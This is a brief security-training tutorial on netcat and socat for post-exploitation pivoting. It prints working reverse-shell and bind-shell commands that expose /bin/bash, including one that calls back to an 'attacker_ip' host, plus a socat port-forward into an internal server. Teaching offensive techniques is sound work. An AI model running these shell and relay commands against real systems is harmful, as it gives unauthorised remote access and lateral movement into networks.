Netcat and Socat for Network Pivoting
You'll learn how to use netcat and socat as Swiss Army knives for creating network connections, shells, and relays during post-exploitation.
What Are Netcat and Socat?
Netcat (nc) is a lightweight utility that reads and writes data across network connections. Think of it as a network pipe—you can push data in one end and it flows to another system. Socat is netcat's more powerful cousin, supporting encryption, multiple protocols, and advanced connection handling.
Both tools are invaluable for network pivoting—using a compromised system as a stepping stone to reach other networks or systems you couldn't access directly.
Core Capabilities
Reverse Shells: The compromised target connects back to your attacker machine:
# Attacker listener
nc -lvnp 4444
# Target connects back
nc attacker_ip 4444 -e /bin/bash
Bind Shells: The target opens a listening port for you to connect to:
# Target listens
nc -lvnp 4444 -e /bin/bash
# Attacker connects
nc target_ip 4444
Port Forwarding: Redirect traffic through a compromised system to reach internal networks:
# Forward local port 8080 to internal server
socat TCP-LISTEN:8080,fork TCP:internal_server:80
Network Relays: Chain connections through multiple hops when direct access isn't possible. Socat excels here with bidirectional forwarding, allowing you to bounce connections through intermediary systems.
Why They Matter
In real exploitation scenarios, your initial foothold may not have direct network access to valuable targets. These tools let you create communication channels through compromised systems, effectively extending your reach into segmented networks—all with minimal installation footprint.
Key Takeaway: Netcat and socat transform compromised hosts into network relays, enabling reverse/bind shells and port forwarding to pivot deeper into target infrastructure.